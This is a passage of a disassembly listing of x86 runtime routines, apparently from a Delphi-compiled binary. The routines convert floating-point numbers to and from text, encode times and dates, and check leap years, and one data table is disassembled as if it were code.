		lodsb
		or	al, al
		jz	short loc_4000895C
		stosb
		jmp	short loc_40008950
; ---------------------------------------------------------------------------


loc_40008958:				; CODE XREF: sub_40008909+36j
		mov	al, 30h
		rep stosb


loc_4000895C:				; CODE XREF: sub_40008909+3Ej
					; sub_40008909+4Aj
		or	edx, edx
		jz	short locret_40008964
		xor	eax, eax
		jmp	short loc_40008982
; ---------------------------------------------------------------------------

locret_40008964:			; CODE XREF: sub_40008909+1Fj
					; sub_40008909+55j
		retn
; ---------------------------------------------------------------------------


loc_40008965:				; DATA XREF: .text:400088E0o
		call	sub_400088FF
		call	sub_400088F6
		mov	ah, [ebp-5]
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx


loc_40008978:				; CODE XREF: sub_40008909+75j
		call	sub_400088F6
		stosb
		loop	loc_40008978
		mov	ah, 2Bh


loc_40008982:				; CODE XREF: sub_40008909+59j
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jbe	short loc_4000898C
		xor	ecx, ecx


loc_4000898C:				; CODE XREF: sub_40008909+7Fj
		mov	al, 45h
		mov	bl, [ebp-29h]
		movsx	edx, word ptr [ebp-2Ch]
		dec	edx
		call	sub_400087BC
		retn
sub_40008909	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000899C	proc near		; DATA XREF: .text:400088E4o
					; .text:400088E8o
		call	sub_400088FF


loc_400089A1:				; CODE XREF: sub_40008A06:loc_40008A4Fp
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_400089AE
		mov	edx, 12h


loc_400089AE:				; CODE XREF: sub_4000899C+Bj
		movsx	ecx, word ptr [ebp-2Ch]
		or	ecx, ecx
		jg	short loc_400089BB
		mov	al, 30h
		stosb
		jmp	short loc_400089E5
; ---------------------------------------------------------------------------


loc_400089BB:				; CODE XREF: sub_4000899C+18j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_400089CD
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx


loc_400089CD:				; CODE XREF: sub_4000899C+25j
					; sub_4000899C+3Bj ...
		call	sub_400088F6
		stosb
		dec	ecx
		jz	short loc_400089E5
		dec	ebx
		jnz	short loc_400089CD
		mov	al, [ebp-6]
		test	al, al
		jz	short loc_400089CD
		stosb
		mov	bl, 3
		jmp	short loc_400089CD
; ---------------------------------------------------------------------------


loc_400089E5:				; CODE XREF: sub_4000899C+1Dj
					; sub_4000899C+38j
		or	edx, edx
		jz	short locret_40008A05
		mov	al, [ebp-5]
		test	al, al
		jz	short loc_400089F1
		stosb


loc_400089F1:				; CODE XREF: sub_4000899C+52j
		jecxz	short loc_400089FC
		mov	al, 30h


loc_400089F5:				; CODE XREF: sub_4000899C+5Ej
		stosb
		dec	edx
		jz	short locret_40008A05
		inc	ecx
		jnz	short loc_400089F5


loc_400089FC:				; CODE XREF: sub_4000899C:loc_400089F1j
					; sub_4000899C+67j
		call	sub_400088F6
		stosb
		dec	edx
		jnz	short loc_400089FC

locret_40008A05:			; CODE XREF: sub_4000899C+4Bj
					; sub_4000899C+5Bj
		retn
sub_4000899C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008A06	proc near		; DATA XREF: .text:400088ECo
		xor	ebx, ebx
		mov	bl, [ebp-0Dh]
		mov	ecx, 3
		cmp	byte ptr [ebp-2Ah], 0
		jz	short loc_40008A1E
		mov	bl, [ebp-0Eh]
		mov	ecx, 40Fh


loc_40008A1E:				; CODE XREF: sub_40008A06+Ej
		cmp	bl, cl
		jbe	short loc_40008A24
		mov	bl, cl


loc_40008A24:				; CODE XREF: sub_40008A06+1Aj
		add	bl, ch
		lea	ebx, dword_40008A69[ebx+ebx*4]
		add	ebx, [ebp-14h]
		mov	ecx, 5


loc_40008A35:				; CODE XREF: sub_40008A06+51j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_40008A59
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_40008A48
		cmp	al, 2Ah
		jz	short loc_40008A4F
		stosb
		jmp	short loc_40008A54
; ---------------------------------------------------------------------------


loc_40008A48:				; CODE XREF: sub_40008A06+39j
		call	sub_40008A5A
		jmp	short loc_40008A54
; ---------------------------------------------------------------------------


loc_40008A4F:				; CODE XREF: sub_40008A06+3Dj
		call	loc_400089A1


loc_40008A54:				; CODE XREF: sub_40008A06+40j
					; sub_40008A06+47j
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_40008A35

locret_40008A59:			; CODE XREF: sub_40008A06+33j
		retn
sub_40008A06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008A5A	proc near		; CODE XREF: sub_40008A06:loc_40008A48p
		push	esi
		mov	esi, [ebp-0Ch]
		test	esi, esi
		jz	short loc_40008A67
		mov	ecx, [esi-4]
		rep movsb


loc_40008A67:				; CODE XREF: sub_40008A5A+6j
		pop	esi
		retn
sub_40008A5A	endp

; ---------------------------------------------------------------------------
dword_40008A69	dd 40402A24h	; ---------------------------------------------------------------------------
		inc	eax
		sub	ah, [eax+eax*2]
		inc	eax
		inc	eax
		and	al, 20h
		sub	al, [eax+40h]
		sub	ah, [eax]
		and	al, 40h
		inc	eax
		sub	[edx+ebp], ah
		sub	[eax+2Dh], eax
		and	al, 2Ah
		inc	eax
		inc	eax
		and	al, 2Dh
		sub	al, [eax+40h]
		and	al, 2Ah
		sub	eax, 2A284040h
		and	al, 29h
		inc	eax
		sub	eax, 4040242Ah
		sub	ch, ds:2A404024h
		and	al, 2Dh
		inc	eax
		inc	eax
		sub	eax, 4024202Ah
		sub	eax, 402A2024h
		sub	ah, [eax]
		and	al, 2Dh
		inc	eax
		and	al, 20h
		sub	ch, ds:2D202440h
		sub	al, [eax+2Ah]
		sub	eax, 28402420h
		and	al, 20h
		sub	ch, [ecx]
		sub	[edx], ch
		and	[ecx+ebp], ah
; START	OF FUNCTION CHUNK FOR sub_40008800


loc_40008ACD:				; CODE XREF: sub_40008800+D7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_40008800
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008AD4	proc near		; CODE XREF: sub_40008800+72p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 40008CF7 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		mov	[ebp+var_4], 0
		cmp	cl, 0
		jz	short loc_40008AF7
		call	sub_40008C23
		jmp	loc_40008CF7
; ---------------------------------------------------------------------------


loc_40008AF7:				; CODE XREF: sub_40008AD4+17j
		call	sub_40008B01
		jmp	loc_40008CF7
sub_40008AD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008B01	proc near		; CODE XREF: sub_40008AD4:loc_40008AF7p
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_40008B2C
		cmp	eax, 7FFFh
		jnz	short loc_40008B37
		test	word ptr [esi+6], 8000h
		jz	short loc_40008B2E
		cmp	dword ptr [esi], 0
		jnz	short loc_40008B2B
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_40008B2E


loc_40008B2B:				; CODE XREF: sub_40008B01+1Fj
		inc	eax


loc_40008B2C:				; CODE XREF: sub_40008B01+Bj
					; sub_40008B01+AFj
		xor	edx, edx


loc_40008B2E:				; CODE XREF: sub_40008B01+1Aj
					; sub_40008B01+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_40008C04
; ---------------------------------------------------------------------------


loc_40008B37:				; CODE XREF: sub_40008B01+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		push	ebx
		mov	ebx, [ebp-4]
		call	sub_40003870
		pop	ebx
		frndint
		mov	edi, [ebp-4]
		fld	tbyte_4001A864[edi]
		fcomp	st(1)
		fstsw	word ptr [ebp-0Ah]
		wait
		test	word ptr [ebp-0Ah], 4100h
		jz	short loc_40008B82
		fidiv	flt_4001A870[edi]
		inc	dword ptr [ebp-8]


loc_40008B82:				; CODE XREF: sub_40008B01+76j
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait


loc_40008B8E:				; CODE XREF: sub_40008B01+A0j
		mov	al, [edx+ebp-19h]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_40008B8E
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_40008BB5
		xor	eax, eax
		jmp	loc_40008B2C
; ---------------------------------------------------------------------------


loc_40008BB5:				; CODE XREF: sub_40008B01+ABj
		cmp	edi, [ebp+0Ch]
		jb	short loc_40008BBD
		mov	edi, [ebp+0Ch]


loc_40008BBD:				; CODE XREF: sub_40008B01+B7j
		cmp	edi, 12h
		jnb	short loc_40008BE9
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_40008BEE


loc_40008BC9:				; CODE XREF: sub_40008B01+D9j
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40008BDE
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_40008BC9
		jmp	short loc_40008BFD
; ---------------------------------------------------------------------------


loc_40008BDE:				; CODE XREF: sub_40008B01+CEj
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_40008BFD
; ---------------------------------------------------------------------------


loc_40008BE9:				; CODE XREF: sub_40008B01+BFj
		mov	edi, 12h


loc_40008BEE:				; CODE XREF: sub_40008B01+C6j
					; sub_40008B01+FAj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40008C0F
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_40008BEE


loc_40008BFD:				; CODE XREF: sub_40008B01+DBj
					; sub_40008B01+E6j
		mov	dx, [esi+8]


loc_40008C01:				; CODE XREF: sub_40008B01+110j
		mov	eax, [ebp-8]


loc_40008C04:				; CODE XREF: sub_40008B01+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ---------------------------------------------------------------------------


loc_40008C0F:				; CODE XREF: sub_40008B01+F3j
					; DATA XREF: sub_40008C23+60r
		xor	edx, edx
		jmp	short loc_40008C01
sub_40008B01	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 64000000h, 0E8000000h, 10000003h
		db 27h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40008C23	proc near		; CODE XREF: sub_40008AD4+19p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_40008CE9
		or	edx, edx
		jns	short loc_40008C3D
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40008C3D:				; CODE XREF: sub_40008C23+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_40008C48
		xor	edi, edi


loc_40008C48:				; CODE XREF: sub_40008C23+21j
		cmp	edi, 4
		jl	short loc_40008C6C
		mov	edi, 4


loc_40008C52:				; CODE XREF: sub_40008C23+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_40008C52
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h


loc_40008C6C:				; CODE XREF: sub_40008C23+28j
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], edx
		fild	qword ptr [ebp-20h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_40008C8A
		mov	edi, [ebp-4]
		fidiv	dword ptr ds:loc_40008C0F[edi+eax*4]


loc_40008C8A:				; CODE XREF: sub_40008C23+5Bj
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_40008CB0
		mov	ecx, 9


loc_40008C9A:				; CODE XREF: sub_40008C23+89j
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4
		jnz	short loc_40008CC3
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_40008CCA
		dec	ecx
		jnz	short loc_40008C9A
		jmp	short loc_40008CE9
; ---------------------------------------------------------------------------


loc_40008CB0:				; CODE XREF: sub_40008C23+70j
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9


loc_40008CBA:				; CODE XREF: sub_40008C23+ABj
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4


loc_40008CC3:				; CODE XREF: sub_40008C23+80j
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh


loc_40008CCA:				; CODE XREF: sub_40008C23+86j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_40008CBA
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx


loc_40008CD8:				; CODE XREF: sub_40008C23+BCj
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_40008CD8
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_40008CF0
; ---------------------------------------------------------------------------


loc_40008CE9:				; CODE XREF: sub_40008C23+9j
					; sub_40008C23+8Bj
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al


loc_40008CF0:				; CODE XREF: sub_40008C23+C4j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_40008C23	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40008AD4


loc_40008CF7:				; CODE XREF: sub_40008AD4+1Ej
					; sub_40008AD4+28j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_40008AD4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008D00	proc near		; CODE XREF: sub_40008E74+11p
					; sub_40008E90+14p ...

var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 40008E0D SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	[ebp+var_4], 0
		mov	al, ds:byte_4001E80F
		mov	[ebp+var_5], al
		mov	ebx, ecx
		fstcw	[ebp+var_8]
		fclex
		fldcw	word_4001A874
		fldz
		call	sub_40008DB7
		mov	bh, [esi]
		cmp	bh, 2Bh
		jz	short loc_40008D3E
		cmp	bh, 2Dh
		jnz	short loc_40008D3F


loc_40008D3E:				; CODE XREF: sub_40008D00+37j
		inc	esi


loc_40008D3F:				; CODE XREF: sub_40008D00+3Cj
		mov	ecx, esi
		call	sub_40008DC2
		xor	edx, edx
		mov	al, [esi]
		cmp	al, [ebp+var_5]
		jnz	short loc_40008D57
		inc	esi
		call	sub_40008DC2
		neg	edx


loc_40008D57:				; CODE XREF: sub_40008D00+4Dj
		cmp	ecx, esi
		jz	short loc_40008DAA
		mov	al, [esi]
		and	al, 0DFh
		cmp	al, 45h
		jnz	short loc_40008D6D
		inc	esi
		push	edx
		call	sub_40008DDE
		pop	eax
		add	edx, eax


loc_40008D6D:				; CODE XREF: sub_40008D00+61j
		call	sub_40008DB7
		cmp	byte ptr [esi],	0
		jnz	short loc_40008DAA
		mov	eax, edx
		cmp	bl, 1
		jnz	short loc_40008D81
		add	eax, 4


loc_40008D81:				; CODE XREF: sub_40008D00+7Cj
		push	ebx
		mov	ebx, [ebp+var_4]
		call	sub_40003870
		pop	ebx
		cmp	bh, 2Dh
		jnz	short loc_40008D92
		fchs


loc_40008D92:				; CODE XREF: sub_40008D00+8Ej
		cmp	bl, 0
		jz	short loc_40008D9B
		fistp	qword ptr [edi]
		jmp	short loc_40008D9D
; ---------------------------------------------------------------------------


loc_40008D9B:				; CODE XREF: sub_40008D00+95j
		fstp	tbyte ptr [edi]


loc_40008D9D:				; CODE XREF: sub_40008D00+99j
		fstsw	ax
		test	ax, 9
		jnz	short loc_40008DAC
		mov	al, 1
		jmp	short loc_40008DAE
; ---------------------------------------------------------------------------


loc_40008DAA:				; CODE XREF: sub_40008D00+59j
					; sub_40008D00+75j
		fstp	st


loc_40008DAC:				; CODE XREF: sub_40008D00+A4j
		xor	eax, eax


loc_40008DAE:				; CODE XREF: sub_40008D00+A8j
		fclex
		fldcw	[ebp+var_8]
		wait
		jmp	short loc_40008E0D
sub_40008D00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008DB7	proc near		; CODE XREF: sub_40008D00+2Dp
					; sub_40008D00:loc_40008D6Dp ...
		lodsb
		or	al, al
		jz	short loc_40008DC0
		cmp	al, 20h
		jz	short sub_40008DB7


loc_40008DC0:				; CODE XREF: sub_40008DB7+3j
		dec	esi
		retn
sub_40008DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008DC2	proc near		; CODE XREF: sub_40008D00+41p
					; sub_40008D00+50p
		xor	eax, eax
		xor	edx, edx


loc_40008DC6:				; CODE XREF: sub_40008DC2+18j
		lodsb
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_40008DDC
		fimul	flt_4001A870
		mov	[ebp-0Ch], eax
		fiadd	dword ptr [ebp-0Ch]
		inc	edx
		jmp	short loc_40008DC6
; ---------------------------------------------------------------------------


loc_40008DDC:				; CODE XREF: sub_40008DC2+9j
		dec	esi
		retn
sub_40008DC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008DDE	proc near		; CODE XREF: sub_40008D00+65p
		xor	eax, eax
		xor	edx, edx
		mov	cl, [esi]
		cmp	cl, 2Bh
		jz	short loc_40008DEE
		cmp	cl, 2Dh
		jnz	short loc_40008DEF


loc_40008DEE:				; CODE XREF: sub_40008DDE+9j
		inc	esi


loc_40008DEF:				; CODE XREF: sub_40008DDE+Ej
					; sub_40008DDE+25j
		mov	al, [esi]
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_40008E05
		inc	esi
		imul	edx, 0Ah
		add	edx, eax
		cmp	edx, 1F4h
		jb	short loc_40008DEF


loc_40008E05:				; CODE XREF: sub_40008DDE+17j
		cmp	cl, 2Dh
		jnz	short locret_40008E0C
		neg	edx

locret_40008E0C:			; CODE XREF: sub_40008DDE+2Aj
		retn
sub_40008DDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40008D00


loc_40008E0D:				; CODE XREF: sub_40008D00+B5j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40008D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008E14	proc near		; CODE XREF: sub_400116DC+104p
					; sub_400116DC+125p ...

var_40		= byte ptr -40h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	ebx
		mov	ebx, eax
		push	0
		push	0Fh
		push	0
		lea	edx, [ebp+arg_0]
		lea	eax, [ebp+var_40]
		xor	ecx, ecx
		call	sub_40008800
		mov	ecx, eax
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_40004974
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40008E14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008E44	proc near		; CODE XREF: sub_4000D0E8+38p

var_40		= byte ptr -40h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	ebx
		mov	ebx, eax
		push	0
		push	0
		push	0
		lea	edx, [ebp+arg_0]
		lea	eax, [ebp+var_40]
		mov	cl, 1
		call	sub_40008800
		mov	ecx, eax
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_40004974
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40008E44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008E74	proc near		; CODE XREF: sub_40007F40+12p
					; sub_400101AC+66p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esi
		xor	ecx, ecx
		call	sub_40008D00
		pop	esi
		pop	ebx
		retn
sub_40008E74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40008E90	proc near		; CODE XREF: sub_4000CF24+35p
					; sub_40010874+83p

var_14		= tbyte	ptr -14h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esp
		xor	ecx, ecx
		call	sub_40008D00
		test	al, al
		jz	short loc_40008EB3
		fld	[esp+14h+var_14]
		fstp	qword ptr [esi]
		wait


loc_40008EB3:				; CODE XREF: sub_40008E90+1Bj
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_40008E90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008EBC	proc near		; CODE XREF: sub_4000CEB8+35p

var_14		= tbyte	ptr -14h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esp
		xor	ecx, ecx
		call	sub_40008D00
		test	al, al
		jz	short loc_40008EDF
		fld	[esp+14h+var_14]
		fstp	dword ptr [esi]
		wait


loc_40008EDF:				; CODE XREF: sub_40008EBC+1Bj
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_40008EBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008EE8	proc near		; CODE XREF: sub_4000CFFC+35p
					; sub_40010E0C+66p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esi
		mov	cl, 1
		call	sub_40008D00
		pop	esi
		pop	ebx
		retn
sub_40008EE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40008F04(double)

sub_40008F04	proc near		; CODE XREF: sub_40008FB8+1Cp
					; sub_4000911C+1Dp ...

var_C		= qword	ptr -0Ch
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		mov	ecx, eax
		fld	[ebp+arg_0]
		fmul	flt_4001A878[ebx]
		sub	esp, 8
		fistp	[esp+0Ch+var_C]
		wait
		pop	eax
		pop	edx
		or	edx, edx
		jns	short loc_40008F33
		neg	edx
		neg	eax
		sbb	edx, 0
		div	dword_4001A87C[ebx]
		neg	eax
		jmp	short loc_40008F39
; ---------------------------------------------------------------------------


loc_40008F33:				; CODE XREF: sub_40008F04+1Cj
		div	dword_4001A87C[ebx]


loc_40008F39:				; CODE XREF: sub_40008F04+2Dj
		add	eax, 0A955Ah
		mov	[ecx], edx
		mov	[ecx+4], eax
		pop	ebx
		pop	ebp
		retn	8
sub_40008F04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008F48	proc near		; CODE XREF: sub_4000A518+1CEp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1], 0
		cmp	ax, 18h
		jnb	short loc_40008FA9
		cmp	dx, 3Ch
		jnb	short loc_40008FA9
		cmp	cx, 3Ch
		jnb	short loc_40008FA9
		cmp	si, 3E8h
		jnb	short loc_40008FA9
		movzx	eax, ax
		imul	eax, 36EE80h
		movzx	edx, dx
		imul	edx, 0EA60h
		add	eax, edx
		movzx	edx, cx
		imul	edx, 3E8h
		add	eax, edx
		movzx	edx, si
		add	eax, edx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fdiv	ds:flt_40008FB4
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_1], 1


loc_40008FA9:				; CODE XREF: sub_40008F48+12j
					; sub_40008F48+18j ...
		movzx	eax, [ebp+var_1]
		pop	esi
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_40008F48	endp

; ---------------------------------------------------------------------------
flt_40008FB4	dd 8.64e7		; DATA XREF: sub_40008F48+51r

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40008FB8(int, double)

sub_40008FB8	proc near		; CODE XREF: sub_400093D4+31p

var_C		= dword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebp+arg_4+4]
		push	dword ptr [ebp+arg_4] ;	double
		lea	eax, [ebp+var_C]
		call	sub_40008F04
		mov	eax, [ebp+var_C]
		lea	ecx, [ebp+var_2]
		mov	dx, 0EA60h
		call	sub_4000797C
		push	esi
		mov	ecx, ebx
		movzx	eax, [ebp+var_2]
		mov	dx, 3Ch
		call	sub_4000797C
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		movzx	eax, [ebp+var_4]
		mov	dx, 3E8h
		call	sub_4000797C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40008FB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40009014	proc near		; CODE XREF: sub_40009050+19p
					; sub_4000911C+EFp
		push	ebx
		push	esi
		mov	ecx, eax
		movzx	eax, cx
		and	eax, 3
		test	eax, eax
		jnz	short loc_40009043
		movzx	ebx, cx
		mov	eax, ebx
		mov	esi, 64h
		xor	edx, edx
		div	esi
		test	edx, edx
		jnz	short loc_40009048
		mov	eax, ebx
		mov	ecx, 190h
		xor	edx, edx
		div	ecx
		test	edx, edx
		jz	short loc_40009048


loc_40009043:				; CODE XREF: sub_40009014+Cj
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40009048:				; CODE XREF: sub_40009014+1Ej
					; sub_40009014+2Dj
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_40009014	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009050	proc near		; CODE XREF: sub_4000A1CC+2F7p

var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 0
		movzx	eax, [ebp+var_2]
		call	sub_40009014
		and	eax, 7Fh
		lea	eax, [eax+eax*2]
		lea	esi, dword_4001A7FC[eax*8]
		cmp	[ebp+var_2], 1
		jb	loc_4000910C
		cmp	[ebp+var_2], 270Fh
		ja	short loc_4000910C
		cmp	di, 1
		jb	short loc_4000910C
		cmp	di, 0Ch
		ja	short loc_4000910C
		cmp	bx, 1
		jb	short loc_4000910C
		movzx	eax, di
		cmp	bx, [esi+eax*2-2]
		ja	short loc_4000910C
		movzx	eax, di
		dec	eax
		test	eax, eax
		jle	short loc_400090C0
		mov	ecx, 1


loc_400090B7:				; CODE XREF: sub_40009050+6Ej
		add	bx, [esi+ecx*2-2]
		inc	ecx
		dec	eax
		jnz	short loc_400090B7


loc_400090C0:				; CODE XREF: sub_40009050+60j
		movzx	ecx, [ebp+var_2]
		dec	ecx
		mov	eax, ecx
		mov	esi, 64h
		cdq
		idiv	esi
		imul	esi, ecx, 16Dh
		mov	edx, ecx
		test	edx, edx
		jns	short loc_400090DE
		add	edx, 3


loc_400090DE:				; CODE XREF: sub_40009050+89j
		sar	edx, 2
		add	esi, edx
		sub	esi, eax
		mov	eax, ecx
		mov	ecx, 190h
		cdq
		idiv	ecx
		add	esi, eax
		movzx	eax, bx
		add	esi, eax
		sub	esi, 0A955Ah
		mov	[ebp+var_8], esi
		fild	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_3], 1


loc_4000910C:				; CODE XREF: sub_40009050+30j
					; sub_40009050+3Cj ...
		movzx	eax, [ebp+var_3]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40009050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4000911C(int, double)

sub_4000911C	proc near		; CODE XREF: sub_40009268+13p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		push	dword ptr [ebp+arg_4+4]
		push	dword ptr [ebp+arg_4] ;	double
